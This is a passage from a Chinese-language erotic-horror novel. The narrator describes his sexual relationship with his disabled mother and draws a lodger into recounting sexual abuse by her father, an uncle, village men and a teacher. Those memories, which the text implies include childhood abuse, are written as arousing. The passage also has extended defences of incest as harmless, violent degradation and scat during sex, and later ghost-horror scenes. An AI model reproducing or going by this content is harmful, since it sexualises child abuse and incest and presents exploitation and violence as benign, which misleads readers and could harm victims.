她问:“为啥对我这么好?”

我说:“我想知道我能不能给你带来好运。”

她缓慢悠长亲吻我的嘴唇,身体柔软地微微扭动,像七鳃鳗。

她的小软手钻进我裤衩,摸我半硬的鸡巴。

我问:“你爹离家以后,你还让谁弄过?”

她说:“嗯,有几个……”

我说:“告诉我好么?”

她温柔地摸着我的鸡巴,感受我的热热勃起,问:“为啥?听我说这些你能硬起来是么?”

我知道有一派临床心理治疗分支认为,回忆并谈论那些不愿意回忆和谈论的事情,会帮你走出阴影,另外我也确实好奇,特想知道更多细节。

我对她说:“是,听你说这些我兴奋。你要是愿意跟我分享的话,你可以告诉我。”

她说:“嗯,不过你得先告诉我你的事儿。”

我说:“可以。啥事儿?”

她问:“你妈为啥没胳膊?”

我说:“我小时候放风筝,风筝刮到大枣树上。我妈拿杆子捅。那根杆子前一天被雨淋湿了。结果杆子搭上高压线。”

她满脸痛苦,问:“疼死了吧?”

我说:“能保住命就是奇迹了。”

她问:“咋一直见不着你爸爸?”

我顺嘴说:“他搞推销的,业务忙,常驻外地。”

她问:“那后来你就照顾你妈?”

我说:“可不,羊还知道跪乳呢,何况人?你不也帮你爸么?”

她说:“那不一样。你给你妈洗衣服么?”

我说:“对呀,当然啦。你没给你爸洗过衣服?”

她问:“哎呀那不一样。你妈妈解手咋办?”

我说:“我帮她擦呀。你能自己用脚擦么?”

她问:“那她倒霉咋办?”

我说:“咋办?帮她整呗。俗话说得好,懂事儿的孩子早当家。”

她问:“那她咋不再找老伴儿呢?”

我说:“你爸咋不再找?”

她问:“哪有赶巧那么合适的?再说他也不想我受气受罪呗。”

我说:“完了。”

她问:“你家条件比我家好多了。”

我说:“所以更不找。我知道他是为钱还是为啥?”

说完立刻后悔。言多必失。

她改了话题,问:“你跟你妈妈做的时候啥感觉?”

她这么问,也是在问自己吧。她还在困惑。

我坦然说:“舒服!刺激!很快就上瘾了,有一种犯禁的快感。给她擦屁股洗澡什么的,成天和她在一起,我很自然就硬了。男的都这肏性,又正发育。硬了呢,她就看见了。看见了也就看见了。我一开始有点儿紧张,有点儿难为情,觉得‘不应该’,后来时间长了,我就想,我去他大爷的啥‘应该’啥‘不应该’?!爷还就这样儿了!”

她微笑。

我接着说:“我看着我妈在我怀里呻吟出汗骚屄痉挛收缩我觉得特有成就感。

我照顾我妈这么无微不至、我让她达到高潮、让她这么快乐、给她带去这么强烈

的幸福我觉得特别光彩。这就自留地的感觉。自产自销。家内互助。你爸弄你的时候可能也这感觉,加上你妈没了以后,你们俩都孤单,你又善解人意。咱两家儿有点儿像你发现了么?”

她说:“嗯,对。”

我说:“刚开始她特害羞,后来我脱她裤子,她还主动配合。所以我说女的都是骚货。骚货必须肏死。”

她问:“那你干吗非找你妈呀?世界上有的是女人啊。”

我说:“我肏的女的多了,可跟我妈,我们俩,我们就特别说得来,心里边儿老觉得特亲切、特默契内种你明白吧?好多时候话说一半儿就都清楚对方想啥。”

她点头说:“我知道。我明白。可你就不别扭么?内疚什么的?”

我说:“我就一混蛋。混蛋从不内疚。我干吗内疚?我妈也舒服了。又不是强奸。”

她问:“你不怕你妈怀孕啊?”

我说:“前些年她上环儿。不担心。今年有点儿发炎,拿出来了。小心点儿就成了呗,戴套儿什么的。你爸一直没进去,我觉得他还不是一纯粹的混蛋。他还有点儿良心啥的。女儿和爸爸体验了性高潮,是很美的事儿啊。女儿爱爸爸,爸爸爱女儿,关门儿来摸摸,碍谁事儿了?每个家庭都有特殊情况,何必一刀切?

比如爸爸是学中医按摩的,咋不能在闺女身上实习?你比如儿子是画画的,谁说不能画妈妈人体?家庭,首先是一个自给自足的小单位。只要这个小家庭里的成员没反社会没生下一代,他们爱干吗干吗,旁人甭管,你说呢?”

其实这些话我已经考虑了一段时间。现在说出来,试图给她一些安慰,对已经发生过的事件做出一些解释。

很多时候,歪理也能安抚人心,哪怕是暂时的。

她说:“嗯,对。”

我说:“当然了,我觉得父女乱和母子乱,性质还不完全一样。这毕竟是一男权社会……”

我注意到她注意力开始涣散,我意识到她对这些“大词儿”根本没兴趣,所以干脆刹车。

她忽然说:“我爸爸不是强奸我!”

我说:“谁说你爸强奸你了?坊间有一种看法,好像只要姑娘高潮了,就不是彻头彻尾被奸污了,因为姑娘有了快感,有了享受。”

至此,她对我的询问已经差不多完全成了我的演讲。

我问:“你妈有啥病或者不舒服么?”

她说:“不知道,可我记得我小时候一直到她上吊,夜里我老听见她叫唤。

被我爸弄得叫唤,还呜呜哭,好像特别难受似的。”

我说:“也许她有附件炎,也许有阴道痉挛。”

她问:“啥玩意儿?”

我说:“就是一肏屄就疼,疼得要死。男人赶上这样的女的,很难满足。”

她问:“你说乱伦是不是不正常?”

我说:“妈妈的啥叫‘不正常’?!”

她问:“是不是挺下流的?”

我说:“妈妈的啥叫‘下流’?!”

她问:“那你说,没有乱伦的女孩会不会更天真更快乐?”

我说:“好问题。不过我觉得提这种问题的人比较消极。你已经这样儿了,事儿已经发生,何必还这么问?有啥意义?这就好比我问你:如果我出生在丹麦,我会不会更快乐?如果我有八千万,我会不会更快乐?靠!你今生卖香蕉,有卖香蕉的快乐。你今生当文秘,有当文秘的快乐。不管你选择哪条路,所谓不幸和幸福其实都差不多,相信我。”

她问:“你恨你妈妈么?”

我说:“不恨呀。我觉得我对我妈妈混杂着强烈的、复杂极了的爱。我感觉对妈妈比乱伦前爱得更深。我觉得很少有人能完全理解我这话的意思。当然你要不问,我不会跟任何人说。”

她说:“保持秘密很沉重的。”

我说:“是啊,不过保持秘密也很快乐。你和这秘密的同谋之间有一种极端的默契。”

她问:“我认识你以后特想知道:你有廉耻么?”

我说:“毫无廉耻可以是特舒心的一种状态,你不觉得么?”

她问:“的确,可在她眼里,你已经不是她儿子了……”

我说:“不!我永远是她儿子。她永远是我妈妈。”

我知道她和我一样,也在内心深处苦苦抗争。扛的是啥?抗的是啥?社会压力?自我良心的认同?

我真的还仅仅是我母亲的儿子么?我母亲真的仅仅是我妈妈么?

她的话锋突然一转,问我:“你妈为你做过啥?”

我回答说:“嗯,很多啊,比如她用光脚放过我、比如她让我插她、比如她跟我一起看毛片……”

她说:“不,我觉得她在‘使用’你。”

“使用”我?是真的么?十多年来,我清洗妈妈沾着尿液粪便的蕾丝边内裤、

处理她用过的酸臭的卫生巾、我洗她穿过的微微汗湿的香臭的袜子……

做饭、喂饭、收拾屋子就更甭说了。

这么说我的青春还真的差不多都给了妈妈。我的婚姻很短暂,最后解体的主要原因我跟谁都没透露过:前妻跟我妈长得很像,可性格脾气相去甚远。

再联想到此前历任女友,为何都失败?我心里(在潜意识里)始终在拿妈妈跟女友做比较。(故,都以失败告终?)

其实我在“治疗”小骚货的同时,也在“诊疗”我自己。我并没比她“高”

多少。我只不过在尝试解开她爸给她心里系的死疙瘩。

初衷是好的,最后结果如何?不敢说。

我说:“我妈是不是‘使用’我,我觉得这个话题很复杂。我知道的是,我妈高潮的时候,是我最幸福的瞬间。看着她全身蜷躬痉挛狠狠抽搐,像大活虾正被抽筋,我特快乐,说实在的比我自己到高潮还快乐。



小骚货听着听着,呼吸逐渐急促起来,另一只手伸向她的裸屄,手指头在她黏糊糊的屄里搅动,发出咕叽咕叽的泥泞声响。

我说:“好了,该你说了。你爹离家以后,你还让谁弄过?”

她已和我建立起信任平台,于是轻松开始回忆:“我爹有个好朋友,我叫他三叔。我爹走以后,三叔老来我家。有一次他来了,坐灶台边儿的小木板凳上点火隆灶,还拿了一只山鸡。我在炕上假装睡午觉,其实我没睡着。我在被子里自己玩儿自己。”

我问:“你当着三叔手淫?”

她说:“嗯,特刺激。后来他就过来了。他坐到炕头,低头看着我,摸我脑门,摸我头发,后来就把手伸进我被窝,摸我脖子、胸、肚子、腿……他后来重复过很多回,有时给我几毛钱。他喜欢一边弄我一边叫我‘小骚货’。”

我问:“你啥感觉?”

她说:“我特困惑。我知道‘骚货’不是好词儿,是说坏女人的,可我一听他叫我‘小骚货’我就特兴奋。有一次他带我去后山的树林,那儿有椿树、楝树、榆树、槐树、椴树、栾树还有栗子树,对了还有柿子树……”

我赶紧打断她:“有一次他带你去后山的树林。”

她被拉回主线,说:“他让我蹲在落叶上,然后他冲我撒尿,一边尿我一边骂我”小骚货“,把我浑身都淋湿了,骚烘烘的。”

我再问:“你啥感觉?”

她说:“那次我觉特刺激,特兴奋!我觉得骚货就应该被惩罚,被人骂,被人滋尿。后来村里还有几个叔摸过我。我一般都不玩儿命拒绝。有时我吸他们,叼着含着让射我嘴里。有时我被他们摸豆豆摸到湿。但我一直不让他们肏进去。”

我问:“为啥?”

她说:“我也不知道。就觉得他们不值得。我屄里有一宝,我得给一个重要的人留着。后来给了你。”

我问:“有谁做过特别的事儿么?”

她说:“嗯……有一回,村里十六伯,他是我家远房亲戚,他来我家,给我送小米,后来在炕上玩儿我,可他硬不起来。我咋弄都不成。后来我问他咋整?

他说得把我捆起来。我问他为啥得把我捆起来?他说你闭嘴、把手给我。后来他就拿草绳把我俩手捆起来了,还打我屁屁。”

我问:“你舒服么?”

她说:“不舒服。”

我问:“十六伯硬了么?”

她说:“硬了。”

我问:“他射了么?”

她说:“射了。”

我问:“射哪儿了?”

她说:“射我脸上了。后来他用手把那些精刮我嘴里,让我嘬让我咽。”

她的手指在她烂屄里越挖越深、越挖越使劲。咕叽咕叽的泥泞声响越来越大。

她说:“弄过我的还有我一体育老师。后来他自杀了。”

我问:“因为你自杀的?”

她说:“知不道。”

她在我怀里激烈手淫,还把我的手拉下去。我的手指立刻进入状态。

她向上挺起后腰,曲意逢迎,让我的手指更深些。

她嘬着自己的拇指,望着我,眼神里燃烧着两个字:“肏我!”

我分明听见干柴被烈火烧得噼啪作响。

我打她耳光。

她呻吟,委屈地看着我,十足一个考试不及格的小学生。

我狠狠抽她嘴巴。

她享受地说:“打我!真舒服~~爸爸打我!”

她翻过身,向我露出白嫩的屁股蛋子,说:“爸爸~肏我~肏我烂屄……”

我盘腿坐起身来,使劲抽打她屁股蛋子。

她取膝肘位趴我腿上。曾经有两扇苍白的屁股撅在我面前,我没有珍惜……

我拼命地抽打她屁股。啪啪山响。她的屁股蛋儿被我打得微微直晃,像果冻似的。

她扭着小腰,呜咽着:“嗯!嗯~~我错了爸爸!爸爸我错了……”

每人心里都有心魔。小骚货的心魔是她爸。我要驱魔!(我的心魔又是谁?)

我想起我第一个女朋友对我的冷漠拒绝,想起第二个女朋友对我的背叛……

我越打越发狠,下手越来越重。我的鸡巴直了。她的苍白屁股已经花瓜似的,布满大红手印儿。

周瑜打黄盖。周瑜和黄盖在互相疗伤。

她还在呻吟:“再使点儿劲儿爸爸!打我!打我~~打你的小荡妇……把小骚货的屎打出来!”

这属于助纣为虐了。纣王的黑暗心理更加膨胀,边打边专注欣赏小骚货的屁股蛋在暴力摧残下的美妙颤动。

公寓里抽打屁股的声音越来越大,带着回声。

她疼得不断弓起后腰,往前缩屁股,哆嗦着试图躲开。

我左手揪住她头发,丧心病狂地拧搅着,右手愈发凶狠地打她屁股。(抽嘴巴叫“打耳光”,抽打屁股叫啥呢?)

我逐渐在每次抽打她屁股蛋的瞬间努力捎带蹭她阴屄。

她哀号着,呻吟着,哭泣着,吸溜着鼻涕,哽咽着,忽然她不出声音了,小肚子狠狠抽搐起来,发硬,像在干呕。

我的硬鸡巴正顶着她凹屄,龟头感到一股热热的粘液浇灌下来。

与此同时,我看到她屁眼一松,一滩深褐色的稀屎泄出来,顺她凹屄和大腿往下流。一股馊臭迅速弥漫开来。

我知道,她高潮了。大便、凹屄、指奸手淫、高潮、粘液、气味,所有这些让我兴奋。

我把两个手指头用力插进她那沾满稀屎的热屄,恶狠狠说:“你拉你爸一身!

我肏死你这烂屄你这臭屄!”

她的身子一挺一挺的,高潮还在延续,热屄还在收缩。

我把这腔肠动物翻过来,看到她的牙齿咬得紧紧的,眼睛半闭,脸绷得发亮发绿,狰狞如女尸。

我摸她咂儿,摸她肚脐眼儿,蹂躏她豆豆,使劲按压她小肚子。更多稀屎被挤榨出来,往外涌。

那玩意儿里头都是吲哚、粪臭素、碳化氢、胺,都是毒素,留着无益。

她喘上气儿来,肚皮和胸腔狠命起伏,两只光脚的脚趾绞在一起,痉挛还没消退。

我顺手抄一胡萝卜插她屁眼儿里。她屁眼儿被润滑,挺好插的,全埋进去了。

她开始喘粗气(临床术语:过度换气。但a8偏爱话糙理正的“人话”)。

我叼起她肿胀的奶头儿咬下去,同时用手指头奸她烂屄子。

她的身子再次狠命挺起,又没声儿了。又high了。屄子凶狠收缩,紧紧箍住我的手指。

可以想象,此刻她的直肠也紧紧箍着那根儿胡萝卜。

她从petitmort(小死)中获得重生,试图睁开眼睛,但眼皮很沉重。(《沉重的翅膀》续集:《沉重的眼皮》?)

她从屏息沉默到开口哀号,听上去多像新生的婴儿呜哇那儿哭!

高潮是洗礼。重生需庆祝。

我把沾满她淫水和稀屎的手指杵她嘴里。她嘬着。

我说:“不、不、不,你这不灵。以后拍片的时候,要当手指头或者鸡巴是冰淇淋去舔,那才性感。”

她伸出舌头慢慢舔,果然有天赋!

我问:“咋了你?是不吃了泻药?”

她回答说:“没。我就喝了三杯咖啡,吃了两杯冰淇淋。”

我问:“你的屎苦么?”

她舔着嘴唇回答说:“嗯,苦,也甜……”

我问:“臭么?”

她说:“我不觉得自己的屎臭。怪不怪你说?”

我说:“不怪。‘不觉己屎臭’境界很高哦~”

我们微笑,抱在一起打着滚亲吻,像两条小狗一样天真无邪,满脑子没别的,只有肏屄。

冷不丁地,她突然问:“你想过死亡么?”

我说:“嗯,很少……我觉得这个话题……”

她根本不等我说完,继续单刀直入、咄咄逼人:“你想怎么死?”

她眼睛里又开始闪动西班牙伊比利亚猞狸内种腥臭的灵光。

我紧张起来,掂量着怎么回答最合适,同时在大脑内存里飞快检索:“呃…

…这个嘛……这个……有时候……”

她满脸红晕、陶醉地说:“我希望在被肏的时候死掉。最好在高潮的时候死掉。”

我心里刚刚红霞满天,现在立马阴云密布。

我捧着她的脸,安慰她说:“咱不死。”

她甩开我的手,不屑地说:“切!别蒙你自己啦!咱都会死!也许就在明天!”

脸上我还在强颜欢笑,但体内一股凉意咝儿喽一下打脚心直窜脑干。


06-01
22:苍苍夜降灵

我捧着她的脸,安慰她说:“咱不死。”

她甩开我的手,不屑地说:“切!别蒙你自己啦!咱都会死!也许就在明天!”

脸上我还在强颜欢笑,但体内一股凉意咝儿喽一下打脚心直窜脑干。

我说:“困了。睡吧。明儿再接着唠。”

我搂着她。她像小猫蜷缩在我臂弯里。俩人都不再言语。

她肚子的孩子不是我的。我算过日子。绝对不是。那孩子是谁的?老K的?

他俩只干过两回,而且日期也不对。

超市抓她那保安的?超市真有一个保安因为她偷李子而抓了她、肏了她么?

常言道,耳听为虚、眼见为实。这“保安”会不会是她编造的yy故事?

如果都不是,还有谁肏过她?那就只剩下鬼房东和博物馆里的鬼。这些我也没亲眼目击。会不会也是她的臆想?编出来刺激我?

她说房东上过她,统共只说过那么两句。我再问,她死活不说。我又没抓着现行。

她会不会有幻想症啊?

嚓(音cà)嘚嘞!(嚓≈肏,舌尖与上齿背阻挡气流,只发舌尖前音、省略第二元音,前响复韵母减了韵尾,旨在突出舌尖塞擦音。)

不祥的预感笼罩在心头。我感到丝丝寒意。

过了很长时间,我终于迷迷糊糊睡着。

睡正香,听见有人在哭。朦胧感到是小骚货在哭。

睁眼瞅,公寓里漆黑,外边正极寒,鬼龇牙的黎明。这可怜的姑娘!

我根本没醒,眼睛涩涩生疼,就闭上眼睛轻轻问:“梦见啥了?”

她抽泣着回答说:“梦见我爸了。”

我闭着眼睛说:“哦,说话了么?”

她说:“没说话。他在马路对面看见我。我也看见他。他好像有好多好多的话想要对我说,冲我招着手跑过来,结果一辆大卡车横着过来,特快,急刹车,车刹住了,可车上的大集装箱飞出去,碾着他往前撮,最后撞房子才停住,血道子三十多米。我爸成了一堆碎肉,肠子肚子脑浆子洒一地,皮鞋都掉了胶萨贷款污物热科委阿人康而……”

她说到这里开始痛苦呜咽,词句破碎,难以分辨。

我搂着她,闭着眼睛轻轻胡撸她后背安慰说:“好了好了,梦是反的。”

她的抽泣慢慢平息,呈decrescendo(意大利语,原用于音乐界,表示声音渐弱)。

我胡撸她后背的节奏越来越慢,力度逐层递减,像哄一被噩梦惊醒的孩子再度入睡。

又过了好久好久,我以为她被我哄着了,就不再胡撸她后背,不料此时她幽幽开口:“你说,我这辈子还能见到我爸么?”

谁知道?靠!

我顺着她的表层逻辑回答说:“假设他还活着,你有可能见着他。”

她说:“那~~我咋样才能找到他?”

我说:“咋着?想他了?”

她说:“嗯,想了。我难受死了。都说血亲之间心心相通。你说我爸会不会真出事儿了?”

我根本睁不开眼睛,闭着眼睛随口说:“会。他作那么多孽他还不该出事儿啊?”

她立刻警惕起来,一挺身子,厉声问:“嗯?!你说啥呢?!”

我就靠!丫这心魔没完没了了还!我烦!

我拼命睁开眼睛,看着她说:“咋啦?没他祸害你,你现在能落这地步?!

你还护着他?”

她说:“就算他不祸害我,别人也没少祸害。”

我说:“你打住!这因果顺序可不一样啊!他要没祸害你,你后来能那么随便让人弄让人摸?”

两秒钟的沉默,她忽然开始纠缠另一话题:“那你内天还说我爸不是混蛋。”

我说:“记清楚,我原话是‘你爸不是纯粹的混蛋’。可他里外还是混蛋。”

她说:“不许你说我爸坏话!我可没说过你跟……”

准知道她有这招儿。准知道她会反咬。我不容她说下去就打断她说:“我根本就一流氓啊!早跟你说过了!你非赖我这儿不走啊。你怎不住土匪那儿啊?”

她沉默,不再说话。

她不说话我也不说话。我乐得清静会儿!伸手从床头柜上摸到火儿和香烟,点上,美美吸两口。

一招得势,步步紧跟。

我继续进攻:“现在高度怀疑你妈是发现你跟你爸的事儿以后才上吊的。到底是不是自杀还难说呢!”

出乎我意料,这回合她居然还不反驳!

这沉默让人窒息。不开口可以是厌烦,可以是默认。沉默掐断了进一步沟通的引线。

靠!不要吧?真都让我猜对啦?

邪门的童年、诡异的家。咱国现行法律好象是奉行民不举官不究原则。

就是说,没人报案就没人立案,也就是说,就算她妈真是被谋害的也只能饮恨黄泉。地下肆阴寒!!

也许是她出的主意?也许她也下了手?

她老说她爸出走她爸出走,弄不好是为了迷惑我。也许她把她爸也杀了然后逃亡到我这儿?

靠!这么说我跟一杀人犯同床?

邪恶从深深迷雾中浮现狰狞嘴脸。后脊nìng呼呼跑冷风。我继续抽烟。

黑暗的公寓里,两个活人用沉默对峙。

暗黑。无声。

只能看见我的烟头忽明忽暗。只能听见烟丝被我嘬得嘶嘶燃烧声。

这根儿烟抽完、捻灭,我呼一下儿起身。

她在黑暗中警觉地问:“干啥去?”

我烦躁不堪地回答说:“憋憋!”

我还真憋憋。下了床,对着蹲式白瓷便器响亮撒尿,一边儿撒一边儿摸着肚脐眼下边鼓出的大包,发现丫越来越大了,有触痛。

烦!明儿上医院切喽丫的!

我尿完,放水冲掉。

就在这时,忽然听到背后什么地方发出嘎崩咔吧嘶喽嘶喽的声音,像一妇人尺骨挠骨被台钳夹碎、妇人在极端痛苦中嘶儿喽嘶儿喽哮喘倒(dáo)气儿。

这回后背彻底凉透,立马想起在妈妈那卫生间撒完尿在镜子里看见的那个女鬼。

我慢慢回头,黑眼珠已被我死死掖到眼角,试图在第一时间发现身后情况。

我面部肌肉紧张铁硬发青、两只眼睛里的眼白得占95%,此刻胆小的要看到我,会以为我是鬼。

我的耳朵像有了自己的生命,自动变硬,支楞起来,像猫狗耳朵那样转动,不受我的支配。

终于转过身来,回头看,昏暗中看见床,小骚货躺我床上,一切如前,未见异常。

刚才的怪声音是啥玩意儿发出来的?

想起她说的博物馆遇鬼,我赶紧走到床边,悄没声儿从枕头下抽出那根乌钢甩棍攥手里,哆了哆嗦来到窗前,一寸一寸拉开窗帘。

窗外仅微亮,一片蓝朦朦的晨曦。

透过玻璃上的冰晶,看到整个都市雾霭重锁,显得阴冷凝重,阴森诡异,处处都弥漫着邪门和恐惧的气味。

小区里一人没有,公寓楼外的雪地上空空的,没看见一纵一纵的穿棉猴小鬼。

我虽然肉眼看不到,但能意识到:噩灵已进来了!

妈的!我紧咬牙关暗下决心:从今往后大小便一律脸朝外!

我攥着家伙回床上,钻进被窝。多年刀口舔血的打架生涯强化了我的求生本能。我睁着眼睛攥着甩棍不敢再睡,啥不好想啥。

万事皆有因果。我回想最近这段儿围绕我身边所有不可思议的事儿。这些事儿都是针对我。

我缺德事儿确实没少干,不过现在越来越烦身边这屄了。自从她进入我的生活,我身边就怪事儿不断。

笼中白鼠的无助感让我烦死。这不是我想要的生活。

天光在逐渐加强。

我还在一遍遍扫视我的公寓,始终看不出哪儿不对劲儿。

公寓里很安静,身边小骚货的轻微鼾声匀细深长,加上被窝里暖暖的。困意逐渐袭来,我发现我的眼皮正在合上。

就在即将完全合上的瞬间,我看了一眼天花板,然后疲倦地闭上眼睛,猛地又睁开!

揉揉眼睛,再看房顶,顿时睡意全无,噌一股凉意直冲天灵盖!

我看到我的房顶裂开一个十字形裂缝,横短竖长,一标准十字架,把天花板切割成面积相同的四块矩形。

缝隙约三厘米宽,多深不知道。

我立刻想起碎裂的避邪、老瓢、电视机。明摆的凶兆。

我有理由相信:现在恶鬼已再次进屋。令人窒息的寂静之中,能听到嘣噔嘣噔的声音。那是我的心脏在玩儿了命地蹦。

我太阳穴和肚脐眼下努出的狗卵也跟着心跳节拍啪啪暴胀。

肏!这噩灵跟我干上了。

我发根直竖,手心瓦凉,全是冷汗。

不祥的预感在心头凝聚。这种预感越来越强烈。我不知道还会发生什么事,也闹不清丫到底是针对我还是针对我妈。

危险在我身边蛰伏隐藏。

我攥紧手里的家伙,警惕地看着身边四周各个角落,肾上腺素狂分泌,可还是半个人影都看不见。

我看不见丫挺的,不知道丫下一步要干吗。

对手看不见摸不着,这感觉很不爽。

就这么惊魂未定,我一直扛到天光大亮,一分钟没敢睡。

到八点多钟,小骚货醒来,穿衣洗漱大小便还跟我贫,一如往常,好像没发现天花板上的大十字。

内务整理好了,一边梳头一边跟我说:“土匪大哥约我今天去拍片。”

我问:“喔。啥内容?”

她说:“说拍一组让我光脚伸盆里拌意大利面条儿的,说给我四百块。”

我说:“片子他卖给谁?”

她说:“知不道。他说他有一著名网站,还卖光盘和穿过的内衣和袜子。”

我冷冷说:“那他肯定有赚。”

她说:“那我就不管了。反正我挣这钱比卖香蕉舒服多啦。”

我说:“好啊。去吧。”

她说:“你开车送我去一趟艺术家村好吗?”

我冷冷说:“自己坐公交车去。”

她趴我身上、把我手塞她两腿中间,摇晃着屁股撒娇说:“送人家去一趟嘛!

坐你的小轿车舒服。”

我开悟了:其实身体就一工具,可帮你达到某种目的。

我抽出手,厌烦地说:“我忙着呢,没功夫。”

她说:“你说你卖首饰你不忙。”

我说:“那我也得跑啊。不跑我吃啥?”

她嘟着嘴说:“从这儿去艺术家村,道儿远着呢。”

我说:“那是你的事儿。没谁应该帮你解决。我没义务帮房客解决交通问题。”

她委屈地说:“可你昨天还说想要对我好。”

我说:“教你学着自己解决你的生活面临的难题,就是对你好。你瞅内扫大街的,我告诉她么?我不告诉。为啥?我不在乎她。”

她说:“这么说你在乎我?”

我穿上外衣、换上皮鞋,说:“我走先。咱各忙各的。你晚上要是不回来的话提前电我,我带个骚屄回来爽。”

她望着我,惊得双唇打开。

不等她答话,我出门、关上门、叫电梯。

进了电梯,直接按B2.电梯开始稳稳运行。

现在觉得温情主义害人不浅。我凭什么要对她好?我凭什么还要容忍她继续住我公寓而出去犯骚?我上辈子该她么?!

不管她以后住哪儿,我决不再姑息她!

我的生活已经彻底乱套。无论如何,今晚我要跟她摊牌,让她滚蛋。我下好这决心。

B2到了。

电梯停住。门开。我走出电梯,SalvatoreFerragamo皮鞋敲击着安静的B2水泥地面,发出脆响。整个B2空无一人。

我边走边掏出车钥匙,气呼呼走向我那锃光瓦亮的a8L6.0quatt ro.把车停地下就是好。外边刮多大风下多大雪,爱车永远一尘不染,开出去体面。

我奔我的车走过去。越走越近了。到车前,遥控解锁,拉开门上车,动作像海豚入水一样流畅自如。

坐定、落锁、系安全带、点火。

居然不着。再点。还不着。我这车从来都是一点就着啊。今儿怎么了这是?

死活不着。

我继续尝试,那会儿还没上火起急。

猛地,余光注意到四周跳过来十几个家伙,在朝我的a8围拢。

直觉告诉我,情形不那么忒妙。

我的肩膀轴有点儿发紧,睁大眼睛使劲盯着内帮。它们一纵一纵的,弹跳动作极他妈轻盈,个个身穿黑色棉猴,头戴连体帽子,帽沿伸出来很多、面部缩在帽沿黑影里看不清楚。

我此时已完全相信小骚货说的博物馆遭遇属实。我赶紧再拧车钥匙!还是打不着!

黑棉猴儿们越来越近了!

我急!再拧车钥匙!妈的还是打不着!

我下意识伸手到后腰找我的乌钢甩棍。糟糕。出门忙乱,甩棍放公寓了!

此时前三个黑棉猴儿已经贴到我风挡上。确实看不到他们的脸。

我的汗下来了!拼出命再拧车钥匙!关键时刻终于着了!听到熟悉的发动机点着火的声音,我往死里给油外带一把轮儿。

a8嚎叫着蹿起来,往前跃出去。

车前内三个杂东肏的黑棉猴儿被碾轧、从我风挡消失。奇怪的是,我车轮碾过它们的时候,竟没有丝毫碾过障碍物的颠簸感。

是鬼无疑!

油门儿已踩到底。a8嗷嗷怒吼着叫嚣着载着我冲出地库。

终于出了地下、重见了日光。

汽车的雄浑动力带我逃出生天。

我对着往日我觉得单调乏味的熟悉街景长长呼出一口浊气。

街头灰蒙蒙的,一切平静、没什么行人。

惊魂未定,扫一眼中控盘,才注意到转速已达五千转儿。

赶紧收油儿,同时强迫自己收回神儿来平稳驾驶,心跳却还180,远没平息。

我找出一个号码拨出去,被告知机主已停机。

我上鱼市买了三十条活的黄鳝,去我妈那儿。

进了门,把黄鳝放进不锈钢大盆儿,强迫妈妈仔细观看它们如何在粘液中缓缓但倔犟地游动。

二拐看着,眼神怪怪的。

我摸着妈妈的屄。妈妈的屄已经湿漉漉的。

我摸着妈妈的湿屄问:“妈,陈阿姨调走了?电话都变了?”

妈妈说:“喔,对啊,终于升外科正主任医师了。你不知道?”

我说:“我不知道。您这儿有她新电话?”

妈妈说:“嗯有,等着啊。”

说着,从棉拖鞋里抽出右脚,开始用赤裸的光脚翻她的电话本。

我问:“这么冷的天儿,怎么又不穿袜子?!”

妈妈说:“哎呀跟你说过一百遍啦,穿袜子不方便嘛。”

我说:“麻利儿给我穿上。感冒了还不都是我的事儿?”

妈妈说:“好好好,我一会儿马上穿~~哎找到了,是这个!”

我记下新的电话号码。

妈妈问:“你怎么了?哪儿不得劲儿?”

我说:“没。是一朋友,托我问个事儿。”

妈妈说:“哦。”

我给妈妈穿上棉袜,说:“妈,今儿中午您就吃油焖黄鳝吧。”

妈妈说:“好啊。黄鳝是滋阴的还是壮阳的?”

我说:“据说能补虚壮阳、增强性欲、活血生精、降低血糖。您不血糖有点儿高么?吃吧,应该没坏处。”

妈妈说:“好啊。咱一起。”

我说:“噢我也特想一起,可我得马上出去一趟,办点儿事儿。中午饭回不来。”

妈妈说:“喔。那你中午在哪儿吃啊?”

我说:“您甭管了,我大饼夹牛肉去。”

我走进厨房,二拐问:“大哥啥事儿?”

我问:“油焖黄鳝做过么?”

二拐说:“没。”

我问:“杀过黄鳝么?”

二拐说:“没。”

我说:“杀容易。这儿,看了么?有锤子、有钉子。你一次拿一条,翻过来,肚皮朝上,拿大钉子穿过下巴给丫楔菜板子上,拿我这双立人儿刀捋着身子这么一趟,就开了膛了,摘内脏。它肯定不舒服;它动混你别怕。完事儿剁掉脑袋、起钉子,把身子扔大盆里清水洗干净,然后再……”

二拐愁眉苦脸说:“大哥,以后您能买收拾好的么?”

出了我妈那儿,我打了那个号码,约好时间。

上医院。

陈阿姨穿着白大褂走出办公室,走过来,惊恐地摸我脸摸我白头发,问:“出啥事儿了?!咋整的?”

身边楼道里摩肩擦踵全是病人和家属。我说:“还不都是我妈给我累得急得。”

她将信将疑,说:“不对!你小子有事儿!老实告诉我!”

我说:“陈阿姨,我肚子上长了一东西。”

她一听,拉我走进一间空着的诊室。

我撩起衣服,看到肚脐眼下面那个家伙好像又变大了,紫红紫红的,表皮儿薄极了,透明,下面密密麻麻的红色血管清晰可见。

陈阿姨职业性地触诊,之后紧张地看着我,说:“你最近碰什么不干净的人了?”

我说:“没有啊。阿姨这啥玩意儿?”

陈阿姨并不回答我的问题,而是继续问话:“最近你去什么不干净地方了?

看了什么不干净东西?去没去过坟地?”

我实在不愿意说我最近那些窝心事儿,就说:“都没有啊!阿姨我长这到底啥玩意儿?B超也抄不出来……”

陈阿姨又弯下腰仔细观察我的“狗卵”,自言自语:“那就奇了怪了!77年我在医学院上尸体解剖的时候,有一事儿吓死人了,我到现在都记得。这事儿我一直不敢回想。”

她陷进层层痛苦回忆,脸蛋扭曲,看上去活像吃了热乎的屎。

我一看,有门儿,起码比上次B超强,赶紧问:“啥事儿您倒快说呀!”

她说:“我的老师当时说……说……唉哟不行!我现在全软了~~”

说着,她的脸已经明显青绿,嘴唇变白,脑门上一层虚汗,整个人眼瞧着像被庖丁解了的牛——如土委地。

我赶紧一把抱住,可感觉她两条腿跟豆腐渣做的似的,完全撑不住任何重力。

她一百多斤的身子一劲儿往地上出溜,白大褂摩擦着我的“狗卵”,生疼生疼。

我掐她人中。没用。赶紧大嘴巴抽她。

她终于醒过来,傻傻看着我,张个嘴,眼神呆滞,如大白天活见了鬼。

她好像踩在剃刀边缘,情知里外活不了,临死前还是要搞清楚死于何人之手,于是绝望地问:“你是谁?!”

我说:“是我呀陈阿姨!我a8~”

她好像还没认出我来,惊恐不安地问:“你要干吗?!”

我回答说:“我来预约手术。”

我现在真的已经这么吓人了么?莫非鬼已经附了我的体、改变了我的容貌?

陈阿姨翻看月历,说:“十九号。”

我说:“不行,十九号太晚,只争朝夕。”

